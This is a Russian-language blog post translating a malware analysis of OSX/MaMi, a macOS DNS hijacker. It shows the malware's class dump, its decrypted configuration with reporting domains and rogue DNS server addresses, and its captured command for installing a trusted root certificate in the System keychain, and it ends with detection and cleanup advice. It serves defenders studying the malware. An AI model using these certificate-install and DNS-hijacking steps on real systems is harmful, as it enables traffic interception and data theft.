Новый вирус OSX/MaMi подменяет DNS для прослушки трафика.

Не прошло и пары недель 2018 года, как был найден новый вирус, нацеленный на машины от Apple. Сделал примерный перевод анализа данного зловреда от Patrick Wardle. Ссылку на оригинал, сам образец и информацию о том, что делать в случае заражения вы найдете внизу.

Как он работает?

Все началось с жалоб пользователей о смене DNS серверов и подозрительной работе системы. Вектор заражения малварью пока не известен, но исследователи утверждают, что он распространяется через спам, рекламные баннеры или социальную инженерию. Поэтому получить семпл для проверки получилось только загрузив его из интернета самому. Это 64 битный исполняемый Mach-O файл.

OS/MaMi Sign

Из-за того, что вирус новый, он не определяется ни одним из 59 антивирусных систем и помечен чистым на VirusTotal. Если загрузить бинарь в дизассемблер, мы найдем версию зловреда 1.1.0. Низкая версия так же намекает нам на то, что он недавно вышел в сеть.

OS/MaMi Virustotal

Для , попробуем сдампить названия классов и методов нашего исполняемого файла. Это можно легко сделать с помощью jtool.

$ ./jtool -d objc -v MaMi

@interface AppDelegate 
...
/* 2 - 0x100001e0b */ - setupCert;
...
/* 7 - 0x1000027bc */ - setupDNS;
...
/* 9 - 0x100002a97 */ - takeScreenshotAt:;
...
/* 22 - 0x1000049d8 */ - mouseClick:;
...
/* 24 - 0x100004ac5 */ - runAppleScript:;


@interface SBMaMiSettings :
...
/* 2 - 0x10000518b */ - initMaMiSettings;
...
/* 9 - 0x100005385 */ - programArguments;
...
/* 11 - 0x1000053a7 */ - runAtLoad;
...
/* 25 - 0x10000548f */ - launchOnlyOnce;


@interface SBNetwork :
...
/* 0 - 0x10000d2e5 */ + downloadFile:atPath:;
/* 1 - 0x10000d4a8 */ + sendAsyncRequestWithUrls:andMethod:andBody:;


@interface SBFileSystem : ?
/* 0 - 0x10002407e */ + writeString:toPath:;
...
/* 8 - 0x1000247fb */ + runCmd:andPipeToCmd:withParams:andParams2:; 
/* 9 - 0x100024b07 */ + runCmd:withParams:;
/* 10 - 0x100024b23 */ + runCmd:withParams:andUser:;


@interface SBCryptoSystem : ?
/* 0 - 0x100026731 */ + isAdmin;  // Protocol 129824ad7
/* 1 - 0x100026745 */ + elevatePrivilegesWithParams:;  // Protocol 1298247ca
/* 2 - 0x1000267aa */ + relaunchWithPrivilegesAndParams:;

Судя по выдаче выше, вирус способен на многое:

  • Делать скриншоты
  • Симулировать события мыши
  • Загружать себя при старте системы
  • Загружать и выгружать файлы в сеть
  • Исполнять комманды
  • Устанавливать сертификаты и DNS сервера
  • Проверять права пользователя и получать права

Если глянуть на точку входа в приложение в дизассемблере, то можно увидеть, что метод setDefaultConfiguration получает шифрованную строку на вход. Дешифровать его в лоб не стоит, т.к. можно запустить приложение и найти расшифрованный результат в дампе памяти.

# lldb MaMi
(lldb) target create "MaMi"
Current executable set to 'MaMi' (x86_64).

...

(lldb) po $rax
{
    defaults =     {
        affiliate = "";
        build = 0;
        "compilation_id" = 0;
        "confirmation_end_time" = 0;
        "confirmation_start_time" = 0;
        "download_complete_time" = 0;
        "download_location" = "";
        "download_retry_count" = 0;
        "download_start_time" = 0;
        "download_url" = "";
        "exception_id" = 0;
        "execute_location" = "";
        "execution_end_time" = 0;
        "execution_start_time" = 0;
        "exit_code" = 0;
        "external_id" = 0;
        "file_crc" = 0;
        "hardware_id" = 0;
        "hosts_active" = "";
        "installer_id" = 0;
        "is_admin" = false;
        "old_secondary_dns" = "";
        "os_build" = 0;
        "os_id" = 0;
        "product_id" = 0;
        "product_name" = "";
        "publisher_id" = 0;
        "register_date" = 0;
        "register_dsrc" = 0;
        "report_id" = 0;
        "run_args" = "";
        "screen_x" = 0;
        "screen_y" = 0;
        "secondary_dns" = "";
        "service_pack" = 0;
        "session_id" = 0;
        status = 0;
        "step_id" = 0;
        tag = "";
        tracker = "";
        "user_time" = 0;
        "validate_end_time" = 0;
        "validate_start_time" = 0;
        version = 0;
    };
    dnsChanger =     {
        affiliate = "";
        "blacklist_dns" =         (
        );
        encrypt = true;
        "external_id" = 0;
        "product_name" = dnsChanger;
        "publisher_id" = 0;
        raw = true;
        reports =         {
            "dnsChanger_activity" =             {
                async = false;
                body = "r={dnsChanger->reports->dnsChanger_activity->template}&rc={dnsChanger}";
                "connection_timeout" = 5;
                domains =                 (
                    "honouncil.info",
                    "gorensin.info"
                );
                "http_headers" =                 (
                                        {
                        name = "Content-Type";
                        value = "application/x-www-form-urlencoded";
                    },
                                        {
                        name = "User-Agent";
                        value = "";
                    }
                );
                "query_string" = "r={dnsChanger->reports->dnsChanger_activity->template}&rc={dnsChanger}";
                "request_method" = 1;
                "request_timeout" = 5;
                "retry_count" = 2;
                "send_port" = 80;
                "send_protocol" = http;
                template =                 {
                    affiliate = "%affiliate%";
                    build = "%build%";
                    "compilation_id" = "%compilation_id%";
                    dns =                     {
                        "hosts_active" = "%hosts_active%";
                        "hosts_config" = "[templates->secondary_dns]";
                    };
                    encrypt = true;
                    "exception_id" = "%exception_id%";
                    expand = true;
                    "external_id" = "%external_id%";
                    "hardware_id" = "%hardware_id%";
                    "is_admin" = "%is_admin%";
                    "old_dns" =                     {
                        "hosts_active" = "%hosts_active%";
                        "hosts_config" = "[templates->old_secondary_dns]";
                    };
                    "os_build" = "%os_build%";
                    "os_id" = "%os_id%";
                    "product_name" = "%product_name%";
                    "publisher_id" = "%publisher_id%";
                    "register_date" = "%register_date%";
                    "register_dsrc" = "%register_dsrc%";
                    "report_id" = "%report_id%";
                    "report_name" = "dnsChanger_activity";
                    "report_type" = 8;
                    "screen_x" = "%screen_x%";
                    "screen_y" = "%screen_y%";
                    "service_pack" = "%service_pack%";
                    "session_id" = "%session_id%";
                    status = "%status%";
                    tag = "%tag%";
                    tracker = "%tracker%";
                    "user_time" = "%user_time%";
                    version = "%version%";
                };
                "url_path" = "";
            };
            "time_report" =             {
                async = false;
                body = "r={dnsChanger->reports->time_report->template}&rc={dnsChanger}";
                "connection_timeout" = 5;
                domains =                 (
                    "squartera.info"
                );
                "http_headers" =                 (
                                        {
                        name = "Content-Type";
                        value = "application/x-www-form-urlencoded";
                    },
                                        {
                        name = "User-Agent";
                        value = "";
                    }
                );
                "query_string" = "";
                "request_method" = 2;
                "request_timeout" = 5;
                "retry_count" = 2;
                "send_port" = 80;
                "send_protocol" = http;
                template =                 {
                    affiliate = "%affiliate%";
                    build = "%build%";
                    "compilation_id" = "%compilation_id%";
                    dns =                     {
                        "hosts_active" = "%hosts_active%";
                        "hosts_config" = "[templates->secondary_dns]";
                    };
                    encrypt = true;
                    "exception_id" = "%exception_id%";
                    expand = true;
                    "external_id" = "%external_id%";
                    "hardware_id" = "%hardware_id%";
                    "is_admin" = "%is_admin%";
                    "os_build" = "%os_build%";
                    "os_id" = "%os_id%";
                    "product_name" = "%product_name%";
                    "publisher_id" = "%publisher_id%";
                    "report_id" = "%report_id%";
                    "report_name" = "time_request";
                    "screen_x" = "%screen_x%";
                    "screen_y" = "%screen_y%";
                    "service_pack" = "%service_pack%";
                    "session_id" = "%session_id%";
                    status = "%status%";
                    tag = "%tag%";
                    tracker = "%tracker%";
                    "user_time" = "%user_time%";
                    "verification_id" = "%verification_id%";
                    version = "%version%";
                };
                "url_path" = "";
            };
        };
        
        "setup_dns" =         (
            "82.163.143.135",
            "82.163.142.137"
        );
    	
        "shared_storage" = "/Users/%USER_NAME%/Library/Application Support";
        "storage_timeout" = 120;
        tag = "";
        "timeout_dns" =         {
            "high_timeout" = 1;
            "low_timeout" = "0.3";
            "medium_timeout" = "0.5";
        };
        tracker = "";
    };
    "installer_id" = 1359747970602718687;
    "report_templates" =     {
        "report_config" =         {
            async = false;
            body = "";
            "connection_timeout" = 5;
            domains =             (
                "domain1.com",
                "domain2.com"
            );
            "http_headers" =             (
                                {
                    name = "Content-Type";
                    value = "application/x-www-form-urlencoded";
                },
                                {
                    name = "User-Agent";
                    value = "";
                }
            );
            "query_string" = "";
            "request_method" = 2;
            "request_timeout" = 5;
            "retry_count" = 2;
            "send_port" = 80;
            "send_protocol" = http;
        };
        "report_config2" =         {
            async = true;
            body = "";
            "connection_timeout" = 5;
            domains =             (
                "domain1.com",
                "domain2.com"
            );
            "http_headers" =             (
                                {
                    name = "Content-Type";
                    value = "application/x-www-form-urlencoded";
                },
                                {
                    name = "User-Agent";
                    value = "";
                }
            );
            "query_string" = "";
            "request_method" = 2;
            "request_timeout" = 5;
            "retry_count" = 2;
            "send_port" = 80;
            "send_protocol" = http;
            "url_path" = "";
        };
        "report_template1" =         {
            affiliate = "%affiliate%";
            build = "%build%";
            "compilation_id" = "%compilation_id%";
            dns =             {
                "hosts_active" = "%hosts_active%";
                "hosts_config" = "[templates->secondary_dns]";
            };
            "exception_id" = "%exception_id%";
            "external_id" = "%external_id%";
            "hardware_id" = "%hardware_id%";
            "is_admin" = "%is_admin%";
            "os_build" = "%os_build%";
            "os_id" = "%os_id%";
            "product_name" = "%product_name%";
            "publisher_id" = "%publisher_id%";
            "report_id" = "%report_id%";
            "screen_x" = "%screen_x%";
            "screen_y" = "%screen_y%";
            "service_pack" = "%service_pack%";
            "session_id" = "%session_id%";
            status = "%status%";
            tag = "%tag%";
            tracker = "%tracker%";
            "user_time" = "%user_time%";
            version = "%version%";
        };
        "report_template2" =         {
            affiliate = "%affiliate%";
            build = "%build%";
            "compilation_id" = "%compilation_id%";
            dns =             {
                "hosts_active" = "%hosts_active%";
                "hosts_config" = "[templates->secondary_dns]";
            };
            "exception_id" = "%exception_id%";
            "external_id" = "%external_id%";
            "hardware_id" = "%hardware_id%";
            "is_admin" = "%is_admin%";
            "os_build" = "%os_build%";
            "os_id" = "%os_id%";
            "product_name" = "%product_name%";
            "publisher_id" = "%publisher_id%";
            "register_date" = "%register_date%";
            "register_dsrc" = "%register_dsrc%";
            "report_id" = "%report_id%";
            "screen_x" = "%screen_x%";
            "screen_y" = "%screen_y%";
            "service_pack" = "%service_pack%";
            "session_id" = "%session_id%";
            status = "%status%";
            tag = "%tag%";
            tracker = "%tracker%";
            "user_time" = "%user_time%";
            version = "%version%";
        };
    };
    templates =     {
        "old_secondary_dns" =         {
            "fill_template" = "%old_secondary_dns%";
            "fill_type" = string;
        };
        "secondary_dns" =         {
            "fill_template" = "%secondary_dns%";
            "fill_type" = string;
        };
    };
    version = 1;
}

Из этого полотна текста самая интересная часть сейчас для нас это

"setup_dns" = (
 "82.163.143.135",
 "82.163.142.137"
 );

те самые DNS сервера, которые малварь прописывает в вашей системе.

Используя Procinfo (https://github.com/objective-see/ProcInfo) посмотрим, что еще делает вирус на старте.

# ./procInfo 
starting process monitor
process monitor enabled...

pid: 1294
path: /usr/bin/security
args: (
    "/usr/bin/security",
    "add-trusted-cert",
    "-d",
    "-r",
    trustRoot,
    "-k",
    "/Library/Keychains/System.keychain",
    "/Users/user/Desktop/dcdata.bin"
)

В выдаче выше видно, что вирус пытается добавить свой сертификат, скачанный из интернета на рабочий стол, в список корневых. Глянем на него.

$ openssl x509 -inform der -in dcdata.bin -out dcdata.pem
$ openssl x509 -in dcdata.pem -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: b6:e1:ab:f3:8b:9a:b4:1a
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=IL, ST=Gush Dan, L=Hertzilia, O=GreenTeam Internet, Ltd., 
                OU=Web, CN=cloudguard.me
        Validity
            Not Before: Jul 23 17:25:15 2014 GMT
            Not After : Jul 15 17:25:15 2044 GMT
        Subject: C=IL, ST=Gush Dan, L=Hertzilia, O=GreenTeam Internet, Ltd., 
                 OU=Web, CN=cloudguard.me
        ...

$ openssl x509 -in dcdata.pem -fingerprint -noout
SHA1 Fingerprint=26:D9:E6:07:FF:F0:C5:8C:78:44:B4:7F:F8:B6:E0:79:E5:A2:22:0E

Пойдем дальше.

# ./procInfo 

process start:
pid: 1177
path: /bin/cp
args: (
    "/bin/cp",
    "/Library/Preferences/SystemConfiguration/preferences.plist",
    "/Library/Preferences/SystemConfiguration/preferences.plist.old"
)

Здесь малварь бекапит оригинальный SystemConfiguration/preferences.plist, видимо для возвращения в изначальный вид в будущем. Посмотрим, что он туда дописал.

$ grep -B 4 -A 2 82. /Library/Preferences/SystemConfiguration/preferences.plist
DNS

	ServerAddresses
	
		82.163.143.135
		82.163.142.137

Те самые DNS сервера, которые мы нашли в расшированной стартовой конфигурации. Мы так же можем увидеть эти DNS сервера если зайдем в интерфейс настройки сети OS X.

OS/MaMi DNS

Остальные методы (снятие скриншотов, симуляция мыши) в данный момент не вызываются. Возможно это только первая версия и она будет самообновляться или она ждет команду извне для запуска этих функций.

Что подозрительно, DNS сервера этого вируса и DNSUnlocker для Windows, который был найден гораздо раньше, лежат в одной подсети:

  • DNSUnlocker - 82.163.143.172 and 82.163.142.174
  • OSX/MaMi - 82.163.143.135 and 82.163.142.137

Так же они используют один и тот же сертификат.

OS/MaMi DNS Cert

Выводы

OSX/MaMi не является продвинутым вирусом, но список его возможностей дает большую свободу действий хакеру, начиная от использования вычислительных мощностей, заканчивая анализом трафика и воровством приватных данных.

Антивирусные программы в ближайшее время добавят образец в свои базы, однако пока не стоит доверять им. Определяется заражение проверкой списка DNS серверов и корневых сертификатов.

В случае заражения, можно попробовать удалить сертификат и записи о DNS серверах, однако это не гарантирует полной безопасности. Лучшим решением будет полная переустановка системы.

  • https://objective-see.com/blog/blog_0x26.html - Оригинал на английском
  • https://www.hackread.com/macos-malware-hijacks-dns-settings-takes-screenshots/ - Еще одна статья про OSX/MaMi
Written on January 18, 2018